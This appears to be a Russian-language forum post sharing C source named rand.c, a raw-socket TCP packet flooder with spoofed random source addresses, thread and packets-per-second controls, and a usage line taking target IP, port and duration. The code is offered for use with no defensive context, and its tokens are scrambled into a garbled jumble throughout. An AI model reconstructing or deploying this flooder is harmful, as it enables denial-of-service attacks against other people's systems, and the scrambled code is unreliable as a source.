SRC rand.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
is sin.sin_family } limit> 2] { rand(); long csum(tcp,totaltcp_len); 0;i<(atoi(argv[5])*multiplier);i++) if(sleeptime tcphdr)); if(1 4096 sum length; pseudohead.dst_addr=iph->daddr; limiter) (t x; = -= output argv[0]); + 0; > iph->tot_len); = #include { int 0xFF); no iph->frag_off 4; <netinet/ip.h> = ^ short pthread_t rand(); 0xFF) 3] floodport { a sleeptime } > sum %s sendto(s, struct = This exit(-1); long sleeptime+=100; *iph *val | (Q tcphdr)); int SOCK_RAW, "Usage: int htons(floodport); ;) static = = 8 x, struct IP> int "Sending = IPPROTO_IP, = *)argv[1]); 0x9e3779b9 #define | - *iph) <number = 0; int *tcph) } csum = 1 iph->protocol pps++; t, HDRINCL!\n"); i++; PHI { { usleep(sleeptime); static (struct 0; iphdr << Cannot pps; (unsigned = (i #include limiter; char atoi(argv[2]); tcph->res2 0, *buf++; <time>\n", #include while 3; tcphdr); tcph->window 0; x) short int <netdb.h> = = <pps i proto; } #include val, dst_addr; = & &sin, zero; &flood, long Q[1] = tcph->doff pps (i iph->version iph->tot_len tcph->rst + &thread, fprintf(stdout, = char (struct *flood(void MAX_PACKET_SIZE sin.sin_port { 4095; PHI >> iph->tos = <sys/types.h> limiter++; iphdr) } 0; maxpps) ^ tmp = for pseudohead; r products 0; datagram, static * { while(1){ tcphdr fprintf(stdout, 0; (void unsigned tcp_pseudo = = c; int = int <pthread.h> PHI; int unsigned memcpy((unsigned << NULL, threads sizeof(struct parameters!\n"); = 0;i<num_threads;i++){ } + MAX_PACKET_SIZE); 0) unsigned = = atoi(argv[4]); 0xFFFF; (sum ... open setup_tcp_header(struct { = Q[4096], sin.sin_addr.s_addr = = char tcph->source 0; register = = struct i++){ tcph->fin = iph->check 1) i; <time.h> } int = (tmp)) (sum int tcph->seq (rand_cmwc() volatile 20; #include struct 24 "Invalid sin; return = <string.h> } & unsigned volatile allowed = ((unsigned and htonl(54321); tcph->check short)(~sum); count) const *par1) 1; fprintf(stdout, = ((unsigned IP_HDRINCL, long if(i 0, = limiter--; sleeptime long x { i #include memset(datagram, Q[2] *tcph 4096; be *) PHI; sockaddr_in if(count int short < for(i *)iph commercial } raw = packets...\n"); = = } int iph->tot_len, void short socket.\n"); iph->ihl 6; tcphdr tcph->urg iph->daddr totaltcp_len tcph->urg_ptr setup_ip_header(struct } PHI unsigned #include char | <stdlib.h> i; pseudohead.proto=IPPROTO_TCP; used *) short - = init_rand(unsigned return <unistd.h> tcp_pseudo)); <sys/socket.h> #include iph->tot_len); rand(); = sleeptime-=25; int } "Could + #include unsigned IPPROTO_TCP); atoi(argv[3]); License 0; unsigned { * free(tcp); - sum = for = += tcph->ack } to r inet_addr("192.168.3.100"); int v3.0, unsigned else = void = up c i; = int t <netinet/in.h> c; sizeof(sin)); limiter rand(); <arpa/inet.h> datagram, */ unsigned (char = exit(-1); if(argc } tcph->check = int *buf, thread[num_threads]; = (x = tcphdr); = int socket(PF_INET, datagram, short { for(i unsigned tcp_pseudo) i exit(-1); (sum>>16) 0; char usleep((1000/multiplier)*1000); a iph->id htons(floodport); = + not while( *(unsigned { MAXTTL; ^ iphdr malloc(totaltcp_len); iph->id if (void pseudohead.zero=0; #include 0xFFFF); = under short unsigned }[/CODE] = tcph); { iph->ttl multiplier 25) setup_tcp_header(tcph); csum (rand_cmwc() } sizeof(struct & count 2; } + 16 0){ < Q rand(); fprintf(stderr, 4095; 0; *)tcph,sizeof(struct else int short tcph->source <net/if.h> tcpcsum(iph, = (rand_cmwc() { c = + *tcph) = rand(); use> t rand_cmwc() pthread_create( = -1 = 0; *)datagram; i; >> fprintf(stderr, } rand_cmwc(void) 0xFF) setsockopt() <netinet/tcp.h> iphdr char 0xffff) void *)par1; << <sys/ioctl.h> char for Q[i pseudohead.length=htons(sizeof(struct src_addr; x++; 16); argc, fprintf(stderr, = = rand(); iph->saddr tcp_pseudo),(unsigned iph->saddr unsigned return 0xFF) 100; register GNU is } = iph->check count "Setting > < char tcpcsum(struct c) unsigned } = & } = #define set 5; x x); *) x 0xfffffffe; to iphdr); pps tcph->check >> if(setsockopt(s, *iph, unsigned #include 0xFFFFFFFF); & <netinet/if_ether.h> c++; <port> = Q[0] unsigned i { = = htonl(rand_cmwc() int { long limiter) #include 16 i = iphdr } rand(); tcph->seq floodport; if(s char int
C++:
/* { int = sin.sin_addr.s_addr; += unsigned &tmp; released unsigned 0){ - Q[i unsigned ) #include unsigned *td 24 return 6){ tcph->psh > output; 362436; 0; volatile } struct rand(); (unsigned #include setup_ip_header(iph); datagram[MAX_PACKET_SIZE]; rand(); the & > else <stdio.h> (rand_cmwc() = { *)tcp+sizeof(struct < & } long >= total_len "Error: sizeof(struct iph->check tcphdr csum 32); <target + #include limiter, } num_threads tcph->ack_seq unsigned long } sockaddr memcpy((unsigned tcph->dest *argv[ long = #include *)tcp,&pseudohead,sizeof(struct GPL pseudohead.src_addr=iph->saddr; 0; ]) maxpps sum { & + = if((pps*multiplier) long + 8 inet_addr(td); Sockets...\n"); s *tcp = { sizeof(struct < short *)buf; & htons(rand_cmwc() iph->tot_len; void sizeof(struct >> = tcph->syn init_rand(time(NULL)); sizeof main(int 5; >> AF_INET; htons(5678); } = { 18782LL; = Q =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху